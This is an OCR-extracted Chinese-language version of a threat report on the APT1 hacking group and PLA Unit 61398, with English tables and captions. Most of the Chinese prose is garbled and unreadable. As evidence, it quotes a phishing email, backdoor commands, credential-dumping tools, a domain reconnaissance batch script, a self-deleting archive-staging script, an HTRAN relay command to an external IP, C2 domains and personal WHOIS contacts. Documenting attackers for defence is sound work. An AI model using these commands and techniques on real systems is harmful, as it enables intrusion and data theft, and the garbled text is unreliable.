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K13, googleddz 4 R 7R 61398 ARF AL it
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AN T HINA I 61398 4B, 1-20104F it 17— 1830, 1 i tword SCR A ELBE R .
HAI R, FEEE TR EILSEAER, RAEALE 2, ik 7 H 7613987 A
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MR 1,

TABLE 1: Chinese sources referring to the areas of expertise contained in Unit 61398.

Type of Expertise in Unit 61398 (ZBFA) | Source Describing that Expertise in Unit 61398

Covert Communications Article in Chinese academic journal. Second author Li Bingbing (ZEE )
references Unit 61398 as the source of his expertise on the topic.!®
English Linguistics Bio of Hebei Chamber of Commerce member Wang Weizhong (ET ).

He describes that he received his training as an English linguist during his
service in Unit 61398. (Hebei is a borough in Shanghai.)'®

Operating System Internals Article in Chinese academic journal. Second author Yu Yunxiang (B Z=5H)
references Unit 61398 as the source of his expertise on the topic.'”

Digital Signal Processing Article in Chinese academic journal. Second author Peng Fei (82%)
references Unit 61398 as the source of his expertise on the topic.'®

Network Security Article in Chinese academic journal. Third author Chen Yigun (BRREE)

references Unit 61398 as the source of his expertise on the topic.!?

UEAh, AR 2o, 61398 A K H I MK 2 TARHEEDET N A B K Mk K22 A
WL RS L2 BE . 61398FBBA YA HE /> HANLfiR L, <3 SR A M 3 - T SN LB EE K 1
ANA oSG TR S A I A R . R2[E7R T 61398 HF BRI PN 5, B %
IS X6 K57 A TAVRE 1) S SRR T R L ) 25K
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TABLE 2: Two profession codes and university recommended courses for students intending to apply for positions
in Unit 61398

Profession Code Required Proficiencies

080902 — Circuits and Systems » 101 — Palitical
» 201 — English
» 301 — Mathematics
» 842 — Signal and Digital Circuits (or) 840 - Circuits
» Interview plus a small written test:
— Circuits and Systems-based professional knowledge and comprehensive
capacity
— Team spirit and ability to work with others to coordinate
— English proficiency

081000 — Information and » 101 - Political
Communications Engineering » 201 - British [English]

» 301 - Mathematics
| » 844 - Signal Circuit Basis

61398 FBBA N 3 1 4% O KRR 45

HR 5613988 BA IRI Al e Tt PRI RUASE,  FRATIHEM, B0 T L H2 BT A X2
TP A 50 161398 Hf BAFE My b N TTHA FOHEWT . B, A TT R BERHIE S RLAE20074F, 1L
S I T AR AT B2 7 A 6139808 A 5 R P13 T I A< 9 X T AR LK ) 946 2085 (1 KA,
N hIE61398 BNt R, 12/, 130663 J7 9 RUKTHIAR ,  FRAT IHERT fig 2544242000 A\ L
VEo FABI B THLAL T RS0 S AT IE X A7 P, R T /NI & o 3 T A
HA ISP —A, oAb — S gt 2 e R

&=
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FIGURE 4: Datong circa 2006 (prior to Unit 61398 Center Building construction) Image Copyright 2013
DigitalGlabe
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FIGURE 5: Datong Circa 2008 (Unit 61398 Center Building visible at 208 Datong) Image Copyright 2013
DigitalGlobe
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FIGURE 6: Unit 61398 Center Building (main gate, soldiers visible) Image Copyright 2013 city8.com

K6: 61398HBBAHLAAE CRITT, Himr i)

2014-05-24 H3C MK 0 e A/ AL 9517 5L, L 87 It



APTL:  “HEHB— = H ] 9 25 (1] 5 5 A

FIGURE 7: Unit 61398 Center Building 208 Datong (rear view, possible generator exhausts visible) Image
Copyright 2013 city8.com
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Longest time period within
which APT1 has continued
to access a victim's network:
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SRR D615, BA T XA AR 0637 2 54 R APTLIE H BATAE 515 sh A 55 th L1

OBSERVED GLOBAL APT1 ACTIVITY
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TIMELINE OF APT1 COMPROMISES BY INDUSTRY SECTOR
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Construction and Manufacturing 8
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Industries Compromised by APT1
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FEFHAPTL

NTFHGEUE S0 JE T RA TR APTLI 4 [FI TG S %% . R, JLAN R 32 A FR AT
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WM& ZeMETESZ AN EAPTHA 2 = TR, BT X AN A R .
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> R AE O TAPTLIEA Bt (1, /2£20064FSymantec H A/ il A AT o XA
fth T F ML Asb.hugesoft.org, X &H M4 — M Ugly Gorilla FIAPTLAZ I I (A4 4
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> 2012 49 H, "Krebs on Security" M Z5IE5E1# % FIBrian KrebsHi i — b jil i 12 i < 1 %2
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APTL it k.

TABLE 3: Identifying APT1 Nicknames in the News

Comment Crew Confirmed APT1

Comment Group Confirmed APT1

Shady Rat Passibly APT1 (not confirmed)

Nitro Attacks Mot APTY; Attributed to another tracked APT group
Elderwood Mot APTY; Attributed to another tracked APT group
Sykipot Mot APT1; Attributed to another tracked APT group
Aurora Mot APTI; Attributed to another tracked APT group
Might Dragon Mot APT1; Attributed to another tracked APT group

%3 YU E P APTL 1) 44

» % ADigital Bond [fJSCADA %4/, 62012 6 HRAT T — M KEFRTH A ) ik
AT U B AR . AlienVault ARG RRAFRRAE T 20 0. e e gd TAPTL
OB [ —B 53

> 2012 4F11 H, Bloomberg's Choloe Thiteaker i [E g4l 4l “CommentGroup” 5 T
s, Hoh AR T APTLK 51 Ugly Gorilla BIFE I AOAS [A] T EL AR 4% .

4 APT1:. B4 frEHH

APTUT g LRI ik, @il ZEB%. sl T EiBORR AN AL AR AT
MBI £ S 28 B 0 B T Ay, i 8 PR 7 e, 1 v L K I 4 S
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FIGURE 14: Mandiant’s Attack Lifecycle Model
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D3R AF <

Date: Wed, 18 Apr 2012 0g:31:41 -0700

From: Eevin Mandiaz <kevin.mandiafrocketmail .coms
Subject: Internal Discussion on the Press
Eelesase

Hello,

3hall we schedule a time to meet next week?
We need to finalize the press releaas.
Details click here.

Eevin Mandia

FIGURE 15: APT1 Sbea- Phishing Email
Kl15: APT1 1 X U4 £ s
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“kevin.mandia@rockertmail.com" ' %& H f#]. Rocketmail &— %2 fiweb HELEIRS . XA

B4 “kevin.mandia@rockertmail.com"t2 A& T-Kevin Mandia. FHERIM =, XANMBAEIE AT fE
SEAPTIM T #6171 MR R I o G AT AT N AE AR s T IR (2% N i),

AT U 2 R 3 NBREZIP SO RA PR S B EAT Y, 22 RAPTL L
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RS, ZIPRAIRRE 2@ NHzIEs T —LEAPTLE (AT I ZIPAS A8 RS

k2

2012ChinaUSAviationSymposium.zip
Employee-Benefit-and-Overhead-Adjustment-Keys.zip
MARKET-COMMENT-Europe-Ends-Sharply-Lower-On-Data-Yields-Jump.zip
Negative_Reports_Of_Turkey.zip
New_Technology For FPGA_And_lIts Developing_Trend.zip
North_Korean_launch.zip
Oil-Field-Services-Analysis-And-Outlook.zip
POWER_GEN_2012.zip
Proactive_Investors_One20ne_Energy_Investor_Forum.zip
Social-Security-Reform.zip
South_China_Sea_Security_Assessment_Report.zip
Telephonics_Supplier_Manual_v3.zip
The_Latest_Syria_Security_Assessment_Report.zip
Updated_Office_Contact_v1.zip
Updated_Office_Contact_v2.zip

Welfare_Reform_and_Benefits_Development_Plan.zip
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Command Description

bdkzt Launch a command shell

ckzjgk Get system information

download <file> Transfer a file from the C2 server

exe <file> <user> Launch a program as a specific user

exit Close the connection and sleep

lists <type> List servers on a Windows network.

ljc Enumerate running processes and identify their owners.

sjc <PID>|<NAME> Terminate a process, either by process |1D or by process name.

upload <file> Send a file to the C2 server

zxdosml <input> Send input to the command shell process (launched with “bdkzt™).
HERZ G T IR B T e LU R 1), ATPLEL 22 APTHBAEMEH . 0, AT fa] \AR

RN RGAAR T R “ BRSNS RS T

FERGER
B THTTPER, —L8APTA [T Db A M 23815 . APTLRIEE 7B il
(ER R

RIi: NG AVEBE PR E T TR

Backdoor Mimicked protocol

MACROMAIL MSN Messenger
GLOOXMAIL Jabber/XMPP
CALENDAR Gmail Calendar

L% sy B R 5 TR C2IR S5 88 2 0] (I A, nTRES ] B 1) 24 R Ak i i &%
WMEIAT A, B4, FZAPTLWGE RS SSLINSE, f il 15 A Ba AL — N % 1 SSL
Wi . IR SEF AL T APTL A IESSLIE T, A AT LS TN [ TR 4% 25 44
W

BUR ST

FETHRE R BRI AR A5 B GBS RS T LR SIS 2 G i 45 . 7EI0AE
LA, APTIMILERIAPT AR S (—ARE) AL, TEMAAIFATHIKTA,
M H ) R Ge 3R A hash & s, LASRECEVE T P 15 &

=
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APTLF|H IX Le A BR$E T T H
%£6: CANIFIIAPTLEAE H AR T T A

oo oeerpon e

cachedump This program extracts cached Currently packaged with fgedump (below)
password hashes from a system’s
registry

fgdump Windows password hash dumper http://www.foofus. netffizzgig/fgdump/

gsecdump Obtains password hashes from the http://www.truesec.se
Windows registry, including the SAM
file, cached domain credentials, and
LSA secrets

Islsass Dump active logon session password http://imwww.truesec.se
hashes from the Isass process

mimikatz A utility primarily used for dumping http://blog.gentilkiwi.com/mimikatz
password hashes

pass-the-hash | Allows an intruder to “pass” a http://oss.coresecurity.com/projects/pshtoolkit.htm

toolkit password hash (without knowing the
original password) to log in to systems

pwdump?7 Dumps password hashes from the http://iwww.tarasco.org/security/pwdump_7/
Windows registry

pwdumpX Dumps password hashes from the The tool claims its origin as hitp://reedarvin.thearvins.com/,
Windows registry but the site is not offering this software as of the date of this

report
[ J
WA EERAT A7

BN NERBITHHENL, W, RIS s, BUEMTIA BRI, & 2R, %
T EHATRAL. WAEN—FOER, FERS EAEAE N N SCBR IS, R S L
ANRERS AR RS . BRI, (EXF VAR R4, AT LY XS R K N RER T 21
R s AR (K, RS i R S A S AR A (. WIS, hash &A% 2 4
I TTERAT M T BT (R B hash B A AR ME— . H— DA
FRAAAIR RS, T EHUR A phash i T4 JF ELAUAFE MG A (H . QR EMTINLHT, #5A% Xt
(¥, HAP Vg,

WA Ja KR AN AT RE “ Bl ” MRS IORAS B SOR K8 i . AR1, A7 AT RE A28 10 T S 58U,
LU “nifif” g A, ROUSRIEE.  “Big” —BHsMKR®E, waedfl, Jf
FeE A fhashfl, JF 5 BLA Ihash{H3EAT ELER, BRFILE. ) . AMRERBENRFE R
Groi s i hash(E A J5URE (R “Aeidfhashfl” ), B ARARATISR A IR F %50 o
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SIS

FEA BRI B, AMRE WA G2 AN AELE B R ZHIAPT (FIHEAPT) (1)
MNZF, APTLEZAE N B ERAE RS AT S RIRR D RIR AN E M LA, B
A3 A 7 B X L &, AT I AR AT DU AR BERASR NP IX — 1R . R i &1 18
7R T APTLAE 2D YA B2 38 M 2% AT K RIAS

Becho off

ipconfilg /all>>"C:\WINNT\Debughl.txt"”

net start>>"C:\WINNT\Debugh\l.txt”

tazklist /v>>"C:\WINNT\Debug\l.txt”

net user >>"C:\WINNT\Debughl.txt”

net localgroup administrators>>"C:\WINNT\Dsebug\l.txt”

netstat —ano>>"C:\WINNT\Debughl.txt”

net use>>"C:\WINNT\Debug\l.txt”

net view>>"C:\WINNT\Debughl.txt”

net view /domain>>"C:\WINNT\Dsbug\l.t=zt”

net group /domain>>"C:\WINNT\Debug\l.txt"”

net group “domain users” /domain>>"C:\WINNT\Debug\l.txt”

net group “domain admins” /domain>>"C:\WINNT\Debug\l.tzt”

net group “domain controllers” /domain>>"C:\WINNT\Debug\l.txt”
net group “exchange domain serverz” /domain>>"C:\WINNT\Dsbug\l.txt”
net group “exchange servers” /domain>>"C:\WINNT)\Debug\l.txt"”
net group “domain computers” /domain>>"C:\WINNT‘Debug\l.txt”

K18: W B2 APT Lt AL 2 A
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XA ASKAT U T T RET TR 5 RAL K BN SCA A A
»» 7 I R 45 PR I A R
w8 G R 2 R 48 R B R R 55
»» 31 IS AT R
ARG LRIk S
»» 3 RS B K
»» 81 H 284
w81 H 2L 19 2% 71
s3] R 26 A ) 2R 4
w8 TSR AN BTS2 C “sldzsiblas” . B, B RN 4D

BB

— HAPT MR HAEM 2% A A AERINL AL s NSV FUE P SRR, TSR A5 75 M 45 3 7
WA I

> AT DARBERR I A R S B

> AT K Sysinternal sEl E B N SR AT 45 PR BE R, IR A R0 T
“psexec” , fEHAMRZG EPATIS

XL MR ARME R BLN, RO BRI R G B AR ml DU AT LS A P 28 AT #RA

R
FEIXANIY B, Bk 5 0 T AR M 88 A A IR TR e 282 P s 1 ) 286 IR 5 v () R 2 R 4
SR B — T4, ATPLIE % f2 R H =Fp o =K.

1 AL BRERRALEHHEIIETF

TEAMATIAEAE W9 255 0 1R) A (P fie At DAAETE),  APT LIl W6 22 e i IR S 11 RE e LA A AT ) R A% 7
WEPPAGE LM ARG WA, WR—ADJaTTEEIANER, AATI9R847 A JE T 1T B
F o BRATTER WAL W 2% J A T (1 2 N AR IR AR B BATPL T RS, ki APTLE
SATAEILA T .
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2 fEHAERVPNIES

RGO, APTHGL B MR — HAE S AR, DME T Rehe B e aikm .
TRATLE T WG B APT A U] 7 44 R 18 365 5 B % VPN, (i VPN U i — )
WE WIS EEARATT AT LA 1) 20 A A R 4R EA ) AR o] 2

3 BXET M
— HARIE A, APTIAAR #2228 S 2 1] 7 WXk R R I 2 FR A o I AN A H
B2 PRI R, g A R FWEBF L T HEM: 2248, WiOutlook web access®

SRS

FALT FATREIABAPTAH S, — HAPTURIUMATESGER I SO, A AT T2 AE iy 2 i
R ST IS AAIT A o ATP AR B A A I RAR M4 T HKSE X AME S5, IF HLA DR Hs 26 SO
FRA o AT IR APTIA AR & FHHEAL BEBIAS, SR BIAAT 158 X MESS . W19

CXXXXXXXX” R SRR LA R R4S R Y S22 )

@echo off

cd /d c:\windows\tasks

rar.log a XXXXXXXX.rar —-vZ00m “C:‘Documents and Settings’Flace’\My
Documents\KXXXXXXX” -hpsmyl23'0E4

del *.vhs

ds=l %0

K19 R 15 SRR AT URAR I 256 A0 SR (M AP T LAt Ak B A

T G RAR RS SCE, APTLHLH # FI A APT 41 £ 7F 9 4% ANl ik 1 Fh oy A4S 1
AR FFTPEE oAb O AEAE M G T I1RR T o 1R 2 RHE AR FIRARSC AR K, 7Ry
TEG BN, 19 SR TIMRARGT A AL, & EEHRARS ) 5200MB K

NN
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(120 APT L 5 0 I 5tk 70 A% Ban 1) o ] i % 6 e RAR R 4 0

AMGIATERER O TLABAPTALZL, APTLE I PSS # 6 M T, FRATTAHE EAPT LA 1
EIERGETMAIL, 2% [ T OutlookfE k% FH I H L 7 B2 BRI SO

K Outlook AFRGAR K, 2 A7k I 2 R 2 HE IR AT BEAR K, AN 2% 5E
HARDR,  [RIIf AAR AN DB T T I A — BT HIEPE . GETMAILRE 3 SEVF AR R
FRAE H AT AT (3 B . AEZ BT B, APTAXGT 4 B8 — Rk N2 Bk (4%, &
SEPU FA IO 2 — SR o

ETGETMAIL #: HXOutlookfF A5 fEAF, 25 — A T HAEMAPIGET, /& % 1] # HU M AR AF RN
VISRATFTRAE I i Exchange il 55 #s L ITHIEEE . 0 T #4E L), MAPIGET 22 H] ) 44 13 i 41+
Exchange/lx55 4% 4 24452 . MAPIGET 2 TR & [RIIK 7 3 B 1~ A1 11 S0 AR BOSCA SO I
v R

TIEERE_ES

APTLFTULINSETE “ R GIAN 7 R lEPE, ANGZHI N APTLA SR I DL, ,
AL ATHECT A TR oI B R N B3 — i 5 AR 8. MR 24k
APTLE A A TR A ) — S8 A IERRTEL A B 5

R APTLE AT SO iR A IER I A
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APT1:

“ BB S ] o 45 ] R FRBA

I

Compile date

If use it, key is the KEY. GETMAIL 2005-08-18
Wether encrypt or not,Default is NOT. GETMAIL 2005-08-18
ToolHelp APl isn't support on NT versions prior to Windows 2000! LIGHTDART 2006-08-03
Mo Doubt to Hack You, Writed by UglyGerilla MANITSME 2007-09-06
Type command disable.Go on! HELAUTO 2008-06-16
File no exist. Simple Downloader | 2008-11-26
(not profiled)
you specify service name not in Svchostinetsves, must be one of following | BISCUIT 2008-06-02
Can not found the PID WEBCZ (Uncat) 2009-08-11
Doesn't started! GREENCAT 2009-08-18
Exception Catched MACROMAIL 2010-03-15
Are you sure to FORMAT Disk C With NTFS?(Y/N) TABMSGSGL 2010-11-04
Shell is not exist or stopped! TARSIP 2011-03-24
Regfile not exist! COOKIEBAG 2011-10-12
the url no respon! COOKIEBAG 2011-10-12
Fail To Execute The Command WEBCZ2-TABLE 2012-02-23

5 APT1: EAh&iE

APTLLE A A e — AT R BT NIRRT O « FRAT T UEHE R W APT L A5 1l T |
RS, MRS AT , JF HE RN AT X S R S8 AR AT IR A VF
ZEFKRG, EAITREEEE T A PO KRR 2 - S A B Tl A, s
161398 kA . APTLIIPHLEEAE T 7E g I, 0 EAPTLIMrd: JR G #i A7 i i v X
AR BeTE, Bk T AR SR ICSA BN I RS . O T DA BB T A KR R
g5, APTICZEM TAR 244, Horh R M #0241 T B A M . X2l 4 R
IPHAIEAS L3 T APTLHHR A AN AR 2 LLE A AT 148 — A8 PO HL DR BAt AT T A B SR

APT1 4R JR

FRANE T 25 W) A A AR TP BN TE R 244 it T LA LE A BEL 42 32 1 0 D9 8% 18) J A 1R 1P
Mk fajsoR, APTIXGL I e “Bk” 1907 U v a) R GefH 2 i )L ok
ANHFSEEAE EI R GOEAAR N P48 o BT 58K 1) W 25 ZH 2 AEH, AthAT T o] LLIE BT A
[ SRR I AT NAR o IR RIS HY 1) 190 208 R 5 i) 1) 2R G P Al ““ R A B BBk o kR
SRR ZAPTLAT LMEH] “Veba” BIRSGE, A T RE#AbAI S, RERAE A ssniE
R LA BL, KRGS TH =2 HE.
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£

FIGURE 21: APT1 bounces through “hop point” systems before accessing victim systems

K21: APTLIE LBk A 0] 52 338 R 4¢

TAICEKI—LEAPTLIG S, JUH A 77 e MU 5. A E AR R EoR
BRI R R I ANFTP. AEPYAEI[A] T (20114F1 ] $1J20134E1 1) FRAT 1w IA
APT LA A8 FH 832 AN [ iRy 1Py il 38 ez A 5 1 7 28 s i 1095 A ATT BB R 5 o IR 51
TS — AT L 11 o SXANREG s AR 7 mT BAIC S B4 P AR G 0 HLrT LB e 4% L
bR ANEEAL . 832N IPHHE, 47817(98.2%) & T~ [ Hix Le it %7 4= FAPTLI M 4%, &+
R PYAS R R 4 e

#8: APTLHIK Vs I b sl 1 IP Sk B

Number | Met block Registered Owner

445 223.166.0.0 - 223.167.255.255 China Unicom Shanghai Metwork

217 BB.246.0.0 - 58.247 255255 China Unicom Shanghai Metwork

114 11264.0.0-11265.255.255 China Unicom Shanghai Metwork

12 1308.226.0.0 - 139.227.255.255 China Unicom Shanghai Metwork
114.80.0.0- 114.95.256.256 China Telecom Shanghai Metwork
101.80.0.0 - 101.95.256.250 China Telecom Shanghai Network

27 Other (non-Shanghai) Chinese |Ps

(=g 111wl 1] e 1 A o B N2 M) KPS\ SR Ok L U DS

person: yanling ruan

nic-hdl: YR194-AP

e-mail: sh-ipmaster@chinaunicom.cn

address: No.900,Pudong Avenue,ShangHai,China

phone: +086-021-61201616
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fax-no: +086-021-61201616

country: cn

PN 4% 0 B I SR BIARAT T2 IR 55T L0 2 B DX A T8 7261398 KL T

3408324 Mk v K 15 MBI W RS [ L 3 HASHIEEE 4128 AT & uEsk,
Horp— e R G URAPTLBRER (T R 40, I HAAPTLARVE S -4 AU 15 DL APT L I —ANBRER yi U
) 20 53— ABRER AL A B ERZ L.

N T AT U ARG, R T P SO SR i Y 1) IR 55 s i A 6 — L AN Y
EATABATT B2 7 S B A LA AR AT =y o AEId 25 B YA J AT 1849 APT LIZE 2 5L 1T ) 2%
TS R IR B B B AR Ay Ak b SC-SE AUBE AL . PR G I R SR T 5 sy I S AR 2
J i R GE LTI R RTE S AT R, IR RS E APTLERAE 4 B R — R Bl B A
faj pAc 3 (zh-cn) AR N BE o ] A4 T 3 S 1 20H 20 504E AR U AE A FHAL B i) [ S0, RVA
T ECRRE o B VA L T ) an A HE T AR AR T AR G rh 30 (zh-tw) AT AR

5 EIEFRIES)

IEAFATNIA S22 R, APTLH T 0 A bR RIS R IR Z EH KRS %
FH A VR IR BB T, I 2SR Bl 4 AT T ik 4 o (HR IR R AR
it LA A 2 1

F TWEBC2E#

HI T AR A T Bt A i Y — b A G T, WEBC2JS I THEAN A T ORI B 4
PEAFEAEHTMUL T tag 2 1), WAl iy 4T —FF - ATPLIE W J2 AR GE A FUBEER 2~ BHTML
e FATHEAPTINAZ # Gk FIWEBC2AR 55 45 I H T LA HHTMLITH, %5 1 TRl
2N BUOYIX S A Sl S g i, LA A G, APTIAR 5 10 AN N IX 28 745
B TR AT T HASMEBIHTMLSC . TR AT RELE B IR G 4O i i X 6 4
T i 2 SR 5 ARG WG BB ER s IHTMULSCA b e i, P TS 31— S APT Br i 2 R W 15
H317czoINA=="FIHTML T o JX L8715 3 A8 ] base642E 12w 5 0 7s:54”, T JH N KIKE4 7>
B (N, BORTAFERETTTR). B T Fahgitg ik it HTMLICHE, JAT M5 2
ATPIANAZ# W] BA_EAL D2 g i (HTML A

HTRAN

MAPTIU I H AEIWEBC2, AT 2> 45007 (C2) K/ i, X FEARAT Tt
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TR S TTRE R R i o XN AT IS AT TARTRAS A R gerh, Bl w2 e L.
TEIXEEAE LT, M2 H 5 T IRT SR S AT B R0, 3 VHOZE P2 75 N R R 3 1
WFIINR R G, L5 T TA] LAERC2MIR S5 2 A BEA TV o ATV 247 7674 Sl g S5 o
APTINAZ B AEBER s AL (1 22 T " HUCHR SCH 4 T B HTRAN . SAEH — 4, X8 T
FLIAE R APT LIS B (K — /N 43

- HTRAN
- 0100100001

FIGURE 22: The HTRAN tool resides on APT1 hop points and acts as a middle-man

Kl22: HTRAN T EAF/EAEE TAPTLRIBRER £ b, BT A

HTRAN 1 SR AR ) 81 B0k 28 6 2504 i A VR A \P b T At sl b e Lt Fry D
AT — AT DL RN 0 o B, G R HAPT LR AR R R I 4, R M T kR w1
44335 1 R NER, JF H A SRR 12 K 1P 11E58.247.242.254 31 |11443:

Htran —tran 443 58.247.242.254 443

FEHTRANFI 767N ILEEXS G rf, APTIAAR & SR A6 1AANR] (1 ) LA e f 1Pl . # )i
Bt AR £ 70 252 T R GRS LAAN AR HbhE 1 v AR DR . X 8 hil6144 47613

AN EAPTLH P B L

Number | Net block Registered Owner

340 223.166.0.0 - 223.167.255.255 China Unicom Shanghai Network

160 58.245.0.0 - £8.247.265.255 China Unicom Shanghai Network

102 112.64.0.0 - 112.65.255.255 China Unicom Shanghai Metwork

11 139.226.0.0 - 139.227. 255,255 China Unicom Shanghai Network

1 143.89.0.0 - 143 .80.255 255 Hong Kong University of Science and Technology

C2HR 285t

A, APTLH & CAAEMAT IR Rl it R Gt b 2038 T C2Mk S5 s 4Lt o AEIX A I
N ADEA T EA A T R NHTRANS 255 R TACH., Rill, XRIFAEREA
1RE IR AR i 5 HC2HAT R G ki . BATEAPTINAZ A TIBRER 515
3K, FBNC2RSSAS, RN, AR EE RS METEL .
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WEBC2AF ] fe i — MRS as 4L, et 7 — MR mcii N Az # . XA
RFE A AT T THBEWEB U . g i, XMRSHSAHRCR A2 H L AT/
PR, R E BB R AR RGN 10T 0 BIHTML T DUE 2 5 2 A 1]
FEFFEEE .

APTL FR45458

AR 2 PEE, RATTC LA T 937 MAPTL C2R 553, X SBR 2% % Ak T30 IR 2 1)
WWF GBS FEY, IBATAE849 MNP bE -0 A, AT L AR BIAPTLIZ /T
B BT RIS 2 (B LR R4 70 A1) . IXEERE A W APTUIR S5 28 L 2EH T2 1. BN
PR SCAEIIFTP; 20 2 FWEBC2(IWEB; 3. 1E NI R4 MIRDP; 4. 1N
FIHTRAN; 5. [A&Fl s T THER I C2/IR 55 4% «

A FIAPT IR 55 4% £ 4 BR 1 73 A1i

Taiwan (6)
Canada (3)
Australia (2)
Mexico (2)
MNorway (2)
Belgium (1)
Denmark (1)
Indonesia (1)
India (1)
Singapore (1)

South Korea (11)

US (109)

China (709)

CLAIAIAPT LR 55 S £ [ ) 23 Af
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139.226.0.0 - 139.227.255.255: 19

(Shanghai) Other: 11 (including 7 in Hong Kong)

112.64.0.0-112.65.255.255: 93
(Shanghai)

58.246.0.0 - 68.247.255.255: 180
(Shanghai)
223.166.0.0 - 223.167.255.255: 406
(Shanghai)

KI23: A IATPLAR S b ) A Bk 40 A1

=4

WA ARG (DNS) w2 /i 4eM i in i, s AT R NUAR 4 748 T TFHLH,
ANt EACAE G S0 —FF, DNSAVFAMIGC S “google.com” IXFEM 44 ST AEIPHLAE
A NAFEN G A “google.com” , DNSZ:HE 2 B pe—MIPHEbE, IXFEA AT LLBE
g Vi1 Google. AEW # DNSHEAT BIPHIL 1) 44 T Fk 4y S8 4 A ili4, (FQDND

s B
LR

K24 1 FHDNSi# K H#APT1 FQDNFHT i C2 ik 45 v 1P Hiu 1l
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2005

2008

2007

2008

2009

2010

2011

2012

APTL1:
APT1HEM X
I hugesoft.org
| ustvb.com
USZZCS.COM
l.com
nmﬁa.cum
arrowservice. net
blackecaka.nat
businessconsults.nat
|nfusupg$rtg{cnm
newsonat.n
purpladaily.com | attnpower.com
ifescal.com
awrnail .com |
shaprnas.com
\ bﬁy@tﬁp.nmt
syscation.com SKysWim. na
t?l;sathuma.u cslisten.com
microsoft-update-info.com ]
bigish.net
g chileexe77.com
gmail bowes.com issnbgkit.net
oplaymagzine.com A progammerli.com
"‘-.\‘-iu:liractach.cum
altarnpata.com i
e eTpata. . livermymsn.com
ebsanvicesupdate.com
7 zones cmatadg giftnews.org
) onefastgama.nat
cnndaily.com confarencesinfo.com
myyahoonews.com
satallitabbs.com 5 zones craatad

\l cometoway.org

msnhomea.arg
usabbs.org -
T E——— e F L T

= usnftc.org

RS
£ zones cr‘ga‘tm/‘/‘ 6 zones craated

copporationnews.com

| ushongkong.org
7 zones craated - ewszasport.com

— YO PCarm.com

phoanixvus.com

nytimesnaws. nat
cinnewsdaily.com

applesoftupdate.com |H‘"‘~ olmusiclO0.com
— todayusa.org
bluacoata.com

4 zones cmatadfl

micyuisyahooapis.com

infobusinessus.ong / — 4 zones created

bigdapression.net

APT LI HER Bt L F5FQDN A b
MNEIPHHE, ATPLEFQDNAE A C2ith
HEHRAZABATE ST, FQDNAEARAT]
NI T T RN . fEid
LHJLES, TS L H1A25524
FQDNJ& TAPTL. JiAk, FdilgmiEs
T R F A M ORHCHIFQDN, JEAE MY
KDL T 2046 FQDN. i i A8
FQDNITT = [f 7 I IPH h A y C2 bk,
BB v LLsh &M PE kR AR 1T E
FIEFFR B C2, XFEME,
FABATTR LA BBl AL APHLIE) 1
PE, M ATIEBERFC2 FQDN LSS 7]
FHh AL, JF IR
JaE TR o IR R T A i
W H A R GIERL T KB C2IRS5
Uig, PRIFIERIE

APT1 FQDNH L LR =28 1,
VEMEDC: 20 =07 IXs 3. B

—DNSACK T EA A
FQDN4 754, IXLEFQDNIE # i
AR AZVENE 2 F RN, IR
PWAEE S B,

“hugesoft.org”

BE&—FQDN, [AIALE T —4X . “ug-co.hugesoft.org” Fl “7cback.hugesoft.org” iX

PIAFQDNZ “hugesoft.org” IXANXI—HB 7, BERRAIXA X738, 7N “hugesoft.org”
AT A DT 22 (0 738, I FLIS X SEFQDNIIPA#AT . M20044E, APTICZVEM T4
BL0TAN X . X e L, FRATTAE £ AT UF [ FQDNBE AT L E AN IPHERE (FRAT TP 5EIX

2014-05-24

H3C WA 022 45 /N

%4971, 3L 87 It



APTL:  “HaFh— 7 H [ ) 25 (] 15 0 BA 7

SR AFEBEAD , H—SEAPTLHHLEESE Lify.

BAVIE RS — A X & “hugesoft.org” , ‘& F20044-10 A #ieNom2s wl v M. vEM A$E
BERIISAF bl Jyuglygorilla@163.com.  HE A HFEMHE B 201342 H 3 H 7L A L H 72
“whois” BRI LAEF R, ENHMERWF:

14 : HUGESOFT.ORG

Qg A]: 20044710 H25H 09:46:18

HEM A huge soft

AL hugesoft

WHEE: L

TEMR T b

WM S

TSR . 200001

VEMPE SR KR

IR +85.21000021

HEAHIEAS : uglygorilla@163.com

XACELAL S B E R . B, “ B O AMEEN AT R
B, IR ARG R S — AN APTLEE A oy, i L F 5 S DA e [ ) [ s
RS +86 “IT k. FS b, FEI07/MENHEA T, 2244 (22%) FEMHEE T ik

FEAPTLIE A4 175 B e I S A -2 F

F10: Brep [ BdEAL, VS (S S I A
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b LG S Gy

7 Beijing China
5 Calgary Canada
4 Guizhou - China
4 Pasadena CA us

4 Houston TX us

3 Sydney Australia
3 Salt Lake uT us

3 Washington, DC us

2 Homewood AL us

2 Kalkaska Ml us

2 Shallotte NC us

2 Yellow Spring OH us

2 MNew York MY us

2 Provo uT us

2 Shenzhen - China
1 Birmingham AL us

1 Scottsdale AZ us

1 sunnyvale CA us

1 Albany NY us

1 Pearl River NY us

1 Chicago - us

1 Moscow - Guatemala
1 Nanning - China
1 Wuhua - China
27 Registration information blocked or not available

TRV IS LB AR AE SR . fFlhn, 20054F Kl “uszzes.com” ACH (K1 WHE R .

Victor etejedaa@yahoo.com +86.8005439436
Michael Murphy
795 Livermore St.

Yellow Spring,Ohio,UNITED STATES 45387

BRAL, VEME B B s S A E AR C 4867 ), SRIMMHEANAESRE . R
FEMERMRTSE “+17 , a— D ANELEOhioH LT AS I RERE A — M IT k& “+86” 115
e 4, WA RIES IE6, NiZ2E “Yellow Springs” A& “Yellow Spring” .
XA Z A — PP SRS, AR W AT A AR DFRT ER, A1 “uszzes.com” Al
“attnpower.com” FREAFELE . ZIEME EEIAN “Yellow Spring” & IEFIFIHE, ks L,
AR LA 35 5 T AE£E Yellow Springsf#)Ohioi B EIARX ATA A o

EMATTE AN O “ i P OSBRI A2 VE DG ) A 2004 — L KF
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APTL:  “HEHB— = H ] 9 25 (1] 5 5 A

SEFIIAE, Hoh— 2 O EIIEAE B IALE, (AN BAT o IX Bl LI ) o7 S 3
ik “Ifengg@163.com” (W HEEEAE BT SCR CHVEME BL07 X A RS 7 X881t o 7R

“www.china-one.org, “ i 7L Ifengg@163.com” 15 LifEKaid s MEARA PR 2 7 A
KUK, — LT AL B Wl i 2 W], b R TR B S AR v [N T AR T8 4261398
BA

GO Ugl_e http://www.china-one.org/contact. htm “

Translate From: Cchinese v To: English v View:

Kai Kwong Notice Contact Us Home> Contact Us

Company Name: Shanghai Kai Optical Information Technology Co., Ltd,

Company Address: No. 1878 Zhongshan West Road, Xuhui District, Shanghai, Cato Building, Building 2, Room 704
(ishan Road mouth)

Tel 021 -54257624, 51691926, 54246715, 51691912

Fax 021 -54257614
atest Projects .
Consulting-mail: fengg@163.com

S fm £ MSN Support: fengg@hotmail.com

v engineering production site
